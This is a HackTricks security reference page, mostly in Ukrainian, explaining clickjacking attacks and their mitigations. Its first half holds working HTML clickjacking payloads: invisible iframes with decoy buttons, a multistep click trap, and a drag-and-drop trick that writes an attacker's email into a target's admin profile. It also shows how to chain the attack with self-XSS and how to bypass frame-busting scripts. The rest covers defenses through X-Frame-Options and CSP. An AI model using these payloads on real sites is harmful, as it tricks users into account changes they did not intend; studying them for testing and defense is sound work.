Clickjacking

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Що таке Clickjacking

У атаці clickjacking користувача обманюють на клік по елементу на веб-сторінці, який або невидимий, або замаскований під інший елемент. Ця маніпуляція може призвести до непередбачуваних наслідків для користувача, таких як завантаження шкідливого ПЗ, перенаправлення на шкідливі веб-сторінки, надання облікових даних або чутливої інформації, перекази грошей або онлайн-покупка товарів.

Трюк з попереднім заповненням форм

Іноді можливо заповнити значення полів форми, використовуючи GET параметри при завантаженні сторінки. Зловмисник може зловживати цією поведінкою, щоб заповнити форму довільними даними та надіслати payload clickjacking, щоб користувач натиснув кнопку "Відправити".

Заповнення форми за допомогою Drag&Drop

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його вказати якусь конкретну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його перетягнути щось, що запише ваші контрольовані дані, як у цьому прикладі.

Основний Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатоступеневий Пейлоад

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Якщо ви виявили атаку XSS, яка вимагає, щоб користувач натиснув на якийсь елемент, щоб запустити XSS, і сторінка є вразливою до clickjacking, ви можете зловживати цим, щоб обманути користувача, змусивши його натиснути кнопку/посилання. Приклад: Ви знайшли самостійний XSS у деяких приватних даних облікового запису (дані, які тільки ви можете встановити та прочитати). Сторінка з формою для встановлення цих даних є вразливою до Clickjacking, і ви можете попередньо заповнити форму з параметрами GET. __Зловмисник може підготувати Clickjacking атаку на цю сторінку, попередньо заповнивши форму з XSS payload і обманути користувача, щоб надіслати форму. Отже, коли форма буде надіслана і значення будуть змінені, користувач виконає XSS.

Стратегії для пом'якшення Clickjacking

Захисти на стороні клієнта

Скрипти, виконувані на стороні клієнта, можуть виконувати дії для запобігання Clickjacking:

  • Забезпечення того, щоб вікно програми було основним або верхнім вікном.

  • Зробити всі фрейми видимими.

  • Запобігти натисканням на невидимі фрейми.

  • Виявлення та сповіщення користувачів про потенційні спроби Clickjacking.

Однак ці скрипти для зламу фреймів можуть бути обійдені:

  • Налаштування безпеки браузерів: Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.

  • HTML5 iframe sandbox атрибут: Зловмисник може нейтралізувати скрипти для зламу фреймів, встановивши атрибут sandbox зі значеннями allow-forms або allow-scripts без allow-top-navigation. Це запобігає перевірці iframe, чи є він верхнім вікном, наприклад,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-forms and allow-scripts values enable actions within the iframe while disabling top-level navigation. To ensure the intended functionality of the targeted site, additional permissions like allow-same-origin and allow-modals might be necessary, depending on the attack type. Browser console messages can guide which permissions to allow.

Серверні захисти

X-Frame-Options

The X-Frame-Options HTTP response header informs browsers about the legitimacy of rendering a page in a <frame> or <iframe>, helping to prevent Clickjacking:

  • X-Frame-Options: deny - Жоден домен не може вкласти вміст.

  • X-Frame-Options: sameorigin - Тільки поточний сайт може вкласти вміст.

  • X-Frame-Options: allow-from https://trusted.com - Тільки вказаний 'uri' може вкласти сторінку.

  • Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери надають перевагу директиві CSP frame-ancestors.

Директива frame-ancestors політики безпеки контенту (CSP)

frame-ancestors директива в CSP є рекомендованим методом захисту від Clickjacking:

  • frame-ancestors 'none' - Схоже на X-Frame-Options: deny.

  • frame-ancestors 'self' - Схоже на X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Схоже на X-Frame-Options: allow-from.

For instance, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla's CSP frame-ancestors documentation.

Політика безпеки контенту (CSP) з child-src і frame-src

Політика безпеки контенту (CSP) є заходом безпеки, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити для завантаження вмісту.

Директива frame-src

  • Визначає допустимі джерела для фреймів.

  • Більш специфічна, ніж директива default-src.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми з того ж походження (self) та https://trusted-website.com.

child-src Директива

  • Введена в CSP рівня 2 для встановлення дійсних джерел для веб-робітників та фреймів.

  • Використовується як резервний варіант для frame-src та worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми та воркери з того ж походження (self) та https://trusted-website.com.

Примітки щодо використання:

  • Відмова: child-src поступово замінюється на frame-src та worker-src.

  • Поведінка за замовчуванням: Якщо frame-src відсутній, child-src використовується як резервний варіант для фреймів. Якщо обидва відсутні, використовується default-src.

  • Суворе визначення джерела: Включайте лише надійні джерела в директиви, щоб запобігти експлуатації.

JavaScript скрипти для зламу фреймів

Хоча вони не є абсолютно надійними, скрипти на основі JavaScript для зламу фреймів можуть бути використані для запобігання тому, щоб веб-сторінка була в фреймі. Приклад:

if (top !== self) {
top.location = self.location;
}

Використання Anti-CSRF Токенів

  • Валідація Токенів: Використовуйте anti-CSRF токени в веб-додатках, щоб забезпечити, що запити, що змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.

Посилання

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найсучаснішими інструментами спільноти. Отримайте доступ сьогодні:

Підтримати HackTricks

Last updated